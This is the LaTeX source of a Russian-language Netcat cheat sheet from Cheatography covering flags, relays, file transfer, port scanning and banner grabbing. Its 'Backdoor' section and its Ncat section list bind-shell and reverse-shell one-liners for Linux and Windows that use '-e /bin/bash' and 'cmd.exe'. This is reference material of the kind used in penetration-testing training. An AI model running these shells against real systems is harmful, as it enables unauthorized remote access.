\documentclass[10pt,a4paper]{article} % Packages \usepackage{fancyhdr} % For header and footer \usepackage{multicol} % Allows multicols in tables \usepackage{tabularx} % Intelligent column widths \usepackage{tabulary} % Used in header and footer \usepackage{hhline} % Border under tables \usepackage{graphicx} % For images \usepackage{xcolor} % For hex colours %\usepackage[utf8x]{inputenc} % For unicode character support \usepackage[T1]{fontenc} % Without this we get weird character replacements \usepackage{colortbl} % For coloured tables \usepackage{setspace} % For line height \usepackage{lastpage} % Needed for total page number \usepackage{seqsplit} % Splits long words. %\usepackage{opensans} % Can't make this work so far. Shame. Would be lovely. \usepackage[normalem]{ulem} % For underlining links % Most of the following are not required for the majority % of cheat sheets but are needed for some symbol support. \usepackage{amsmath} % Symbols \usepackage{MnSymbol} % Symbols \usepackage{wasysym} % Symbols %\usepackage[english,german,french,spanish,italian]{babel} % Languages % Document Info \author{Adisf} \pdfinfo{ /Title (netcat.pdf) /Creator (Cheatography) /Author (Adisf) /Subject (Netcat Cheat Sheet) } % Lengths and widths \addtolength{\textwidth}{6cm} \addtolength{\textheight}{-1cm} \addtolength{\hoffset}{-3cm} \addtolength{\voffset}{-2cm} \setlength{\tabcolsep}{0.2cm} % Space between columns \setlength{\headsep}{-12pt} % Reduce space between header and content \setlength{\headheight}{85pt} % If less, LaTeX automatically increases it \renewcommand{\footrulewidth}{0pt} % Remove footer line \renewcommand{\headrulewidth}{0pt} % Remove header line \renewcommand{\seqinsert}{\ifmmode\allowbreak\else\-\fi} % Hyphens in seqsplit % This two commands together give roughly % the right line height in the tables \renewcommand{\arraystretch}{1.3} \onehalfspacing % Commands \newcommand{\SetRowColor}[1]{\noalign{\gdef\RowColorName{#1}}\rowcolor{\RowColorName}} % Shortcut for row colour \newcommand{\mymulticolumn}[3]{\multicolumn{#1}{>{\columncolor{\RowColorName}}#2}{#3}} % For coloured multi-cols \newcolumntype{x}[1]{>{\raggedright}p{#1}} % New column types for ragged-right paragraph columns \newcommand{\tn}{\tabularnewline} % Required as custom column type in use % Font and Colours \definecolor{HeadBackground}{HTML}{333333} \definecolor{FootBackground}{HTML}{666666} \definecolor{TextColor}{HTML}{333333} \definecolor{DarkBackground}{HTML}{8E9DA3} \definecolor{LightBackground}{HTML}{F7F8F9} \renewcommand{\familydefault}{\sfdefault} \color{TextColor} % Header and Footer \pagestyle{fancy} \fancyhead{} % Set header to blank \fancyfoot{} % Set footer to blank \fancyhead[L]{ \noindent \begin{multicols}{3} \begin{tabulary}{5.8cm}{C} \SetRowColor{DarkBackground} \vspace{-7pt} {\parbox{\dimexpr\textwidth-2\fboxsep\relax}{\noindent \hspace*{-6pt}\includegraphics[width=5.8cm]{/web/www.cheatography.com/public/images/cheatography_logo.pdf}} } \end{tabulary} \columnbreak \begin{tabulary}{11cm}{L} \vspace{-2pt}\large{\bf{\textcolor{DarkBackground}{\textrm{Netcat Cheat Sheet}}}} \\ \normalsize{by \textcolor{DarkBackground}{Adisf} via \textcolor{DarkBackground}{\uline{cheatography.com/37294/cs/11709/}}} \end{tabulary} \end{multicols}} \fancyfoot[L]{ \footnotesize \noindent \begin{multicols}{3} \begin{tabulary}{5.8cm}{LL} \SetRowColor{FootBackground} \mymulticolumn{2}{p{5.377cm}}{\bf\textcolor{white}{Cheatographer}} \\ \vspace{-2pt}Adisf \\ \uline{cheatography.com/adisf} \\ \end{tabulary} \vfill \columnbreak \begin{tabulary}{5.8cm}{L} \SetRowColor{FootBackground} \mymulticolumn{1}{p{5.377cm}}{\bf\textcolor{white}{Cheat Sheet}} \\ \vspace{-2pt}Not Yet Published.\\ Updated 19th May, 2017.\\ Page {\thepage} of \pageref{LastPage}. \end{tabulary} \vfill \columnbreak \begin{tabulary}{5.8cm}{L} \SetRowColor{FootBackground} \mymulticolumn{1}{p{5.377cm}}{\bf\textcolor{white}{Sponsor}} \\ \SetRowColor{white} \vspace{-5pt} %\includegraphics[width=48px,height=48px]{dave.jpeg} Measure your website readability!\\ www.readability-score.com \end{tabulary} \end{multicols}} \begin{document} \raggedright \raggedcolumns % Set font size to small. Switch to any value % from this page to resize cheat sheet text: % www.emerson.emory.edu/services/latex/latex_169.html \footnotesize % Small font. \begin{multicols*}{3} \begin{tabularx}{5.377cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{Fundamentals}} \tn \SetRowColor{white} \mymulticolumn{1}{x{5.377cm}}{Netcat в роли клиента \newline % Row Count 1 (+ 1) \$ {\bf{nc {[}TargetIPAddr{]} {[}port{]}}} \newline % Row Count 2 (+ 1) Netcat в роли сервера \newline % Row Count 3 (+ 1) \$ {\bf{nc -l -p {[}LocalPort{]}}} \newline % Row Count 4 (+ 1) И клиент и сервер берут данные из STDIN, а полученные из сети данные направляют в STDOUT% Row Count 7 (+ 3) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{Netcat Bind Shell}} \tn \SetRowColor{LightBackground} \mymulticolumn{1}{p{5.377cm}}{\vspace{1px}\centerline{\includegraphics[width=5.1cm]{/web/www.cheatography.com/public/uploads/adisf_1493982530_Netcat1.jpg}}} \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{Netcat Reverse Shell}} \tn \SetRowColor{LightBackground} \mymulticolumn{1}{p{5.377cm}}{\vspace{1px}\centerline{\includegraphics[width=5.1cm]{/web/www.cheatography.com/public/uploads/adisf_1493982629_Netcat1.jpg}}} \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{Backdoor}} \tn \SetRowColor{white} \mymulticolumn{1}{x{5.377cm}}{Bind shell на Linux \newline % Row Count 1 (+ 1) \$ {\bf{nc -l -p {[}LocalPort{]} -e /bin/bash}} \newline % Row Count 2 (+ 1) Bind shell на Windows \newline % Row Count 3 (+ 1) C:\textbackslash{}\textgreater{} {\bf{nc -l -p {[}localPort{]} -e cmd.exe}} \newline % Row Count 4 (+ 1) Reverse shell на Linux \newline % Row Count 5 (+ 1) \$ {\bf{nc {[}YourIPAddress{]} {[}port{]} -e /bin/bash}} \newline % Row Count 6 (+ 1) Reverse shell на Windows \newline % Row Count 7 (+ 1) C:\textbackslash{}\textgreater{} {\bf{nc {[}YourIPAddress{]} {[}port{]} -e cmd.exe}}% Row Count 8 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{Netcat Command Flags}} \tn \SetRowColor{white} \mymulticolumn{1}{x{5.377cm}}{\$ {\bf{nc {[}options{]} {[}TargetIPAddr{]} {[}port(s){]}}} \newline % Row Count 1 (+ 1) -l : режим сервера \newline % Row Count 2 (+ 1) -L : режим сервера, при котором Netcat начинает слушать снова после отсоединения клиента (работает только в Windows) \newline % Row Count 6 (+ 4) -u : UDP-мод \newline % Row Count 7 (+ 1) -p : локальный порт (в режиме сервера слушается этот порт. В режиме клиента с этого порта отправляются все пакеты) \newline % Row Count 12 (+ 5) -e : программа, которая выполняется после установления соединения \newline % Row Count 15 (+ 3) -n : не выполнять \seqsplit{преобразование} DNS-имен \newline % Row Count 17 (+ 2) -z : Zero I/O-мод (не отпарвляет какие-либо данные, только пробует \seqsplit{подключиться.} Использовать совместно с опцией -w для таймаута и -v для подробного вывода) \newline % Row Count 23 (+ 6) -wN : таймаут для подключения, ожидает N секунд перед закрытием соединения \newline % Row Count 26 (+ 3) -v : подробный вывод \newline % Row Count 27 (+ 1) -vv : очень подробный вывод, печатает больше деталей в стандартный вывод об ошибках% Row Count 30 (+ 3) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{Netcat Relays on Linux}} \tn \SetRowColor{white} \mymulticolumn{1}{x{5.377cm}}{Для начала создаем FIFO (именованный pipe), называемый backpipe \newline % Row Count 3 (+ 3) \$ {\bf{cd /tmp}} \newline % Row Count 4 (+ 1) \$ {\bf{mknod backpipe p}} \newline % Row Count 5 (+ 1) Создадим релей, который отправит пакеты с локального порта на удаленный компьютер с указанным портом \newline % Row Count 9 (+ 4) \$ {\bf{nc -l -p {[}LocalPort{]} 0\textless{}backpipe | nc {[}TargetIPaddr{]} {[}port{]} | tee backpipe}} \newline % Row Count 11 (+ 2) Создадим релей, который перенаправит данные входящего соединения на порт {[}LocalPort\_1{]} на входящее соединение на порт {[}LocalPort\_2{]} \newline % Row Count 16 (+ 5) \$ {\bf{nc -l -p {[}LocalPort\_1{]} 0\textless{}backpipe | nc -l -p {[}LocalPort\_2{]} | tee backpipe}} \newline % Row Count 18 (+ 2) Создадим релей, который перенаправит данные от исходящего соединения на {[}PreviousHopIPaddr{]} на порт {[}port\_1{]} на другое исходящее соединение на {[}NextHopIPaddr{]} на порт {[}port\_2{]} \newline % Row Count 24 (+ 6) \$ {\bf{nc {[}PreviousHopIPaddr{]} {[}port\_1{]} 0\textless{}backpipe | nc {[}NextHopIPaddr{]} {[}port\_2{]} | tee backpipe}}% Row Count 26 (+ 2) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{Netcat Relays on Windows}} \tn \SetRowColor{white} \mymulticolumn{1}{x{5.377cm}}{Ретранслятор пакетов с \seqsplit{определенного} порта на порт удаленного компьютера \newline % Row Count 3 (+ 3) C:\textbackslash{}\textgreater{} {\bf{echo nc {[}TargetIPAddr{]} {[}port{]} \textgreater{} relay.bat}} \newline % Row Count 5 (+ 2) C:\textbackslash{}\textgreater{} {\bf{nc -l -p {[}localPort{]} -e relay.bat}} \newline % Row Count 6 (+ 1) Ретранслятор пакетов с порта 1 на порт 2 \newline % Row Count 8 (+ 2) C:\textbackslash{}\textgreater{} {\bf{echo nc -l -p {[}LocalPort\_2{]} \textgreater{} relay.bat}} \newline % Row Count 9 (+ 1) C:\textbackslash{}\textgreater{} {\bf{nc -l -p {[}LocalPort\_1{]} -e relay.bat}} \newline % Row Count 10 (+ 1) Ретранслятор пакетов, которые будут получены от соединения с {[}PreviousHopIPAddr{]} на порт {[}port{]} в соединение с {[}NextHopIPAddr{]} на порт {[}port2{]} \newline % Row Count 15 (+ 5) C:\textbackslash{}\textgreater{} {\bf{echo nc {[}NextHopIPAddr{]} {[}port2{]} \textgreater{} relay.bat}} \newline % Row Count 17 (+ 2) C:\textbackslash{}\textgreater{} {\bf{nc {[}PreviousHopIPAddr{]} {[}port{]} -e relay.bat}}% Row Count 19 (+ 2) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{File transfer with Netcat}} \tn \SetRowColor{white} \mymulticolumn{1}{x{5.377cm}}{От клиента к серверу \newline % Row Count 1 (+ 1) На сервере \newline % Row Count 2 (+ 1) C:\textbackslash{}\textgreater{} {\bf{nc -nlvp 4444 \textgreater{} incoming.exe}} \newline % Row Count 3 (+ 1) На клиенте \newline % Row Count 4 (+ 1) \$ {\bf{nc -nv 10.0.0.22 4444 \textless{} \seqsplit{/usr/share/windows-binaries/wget}.exe}} \newline % Row Count 6 (+ 2) От сервера к клиенту \newline % Row Count 7 (+ 1) На сервере \newline % Row Count 8 (+ 1) C:\textbackslash{}\textgreater{} {\bf{nc -nlvp 4444 \textless{} {[}infile{]}}} \newline % Row Count 9 (+ 1) На клиенте \newline % Row Count 10 (+ 1) \$ {\bf{nc -nv 10.0.0.22 4444 \textgreater{} {[}outfile{]}}}% Row Count 11 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{TCP Port Scanner}} \tn \SetRowColor{white} \mymulticolumn{1}{x{5.377cm}}{\$ {\bf{nc -v -n -z -w1 {[}TargetIPAddr{]} {[}start\_port{]}-{[}end\_port{]}}} \newline % Row Count 2 (+ 2) Опция -r может \seqsplit{использоваться} чтобы выбирать порты из диапазона случайным образом% Row Count 5 (+ 3) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{TCP Banner Grabber}} \tn \SetRowColor{white} \mymulticolumn{1}{x{5.377cm}}{Сбор баннеров на Linux \newline % Row Count 1 (+ 1) \$ {\bf{echo "" | nc -v -n -w1 {[}targetIPAddress{]} {[}start\_port{]}-{[}end\_port{]}}}% Row Count 3 (+ 2) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{5.377cm}}{\bf\textcolor{white}{Аналоги Netcat}} \tn \SetRowColor{white} \mymulticolumn{1}{x{5.377cm}}{{\bf{Ncat}} является более продвинутым аналогом Netcat, поддерживает SSL и белые списки \newline % Row Count 3 (+ 3) Bind shell \newline % Row Count 4 (+ 1) C:\textbackslash{}\textgreater{} {\bf{ncat -{}-exec cmd.exe -{}-allow 10.0.0.4 -vnl 4444 -{}-ssl}} \newline % Row Count 6 (+ 2) Connect to Bind shell \newline % Row Count 7 (+ 1) \$ {\bf{ncat -v 10.0.0.22 4444 -{}-ssl}} \newline % Row Count 8 (+ 1) Также для этих целей может \seqsplit{использоваться} утилита {\bf{sbd}}% Row Count 10 (+ 2) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} % That's all folks \end{multicols*} \end{document}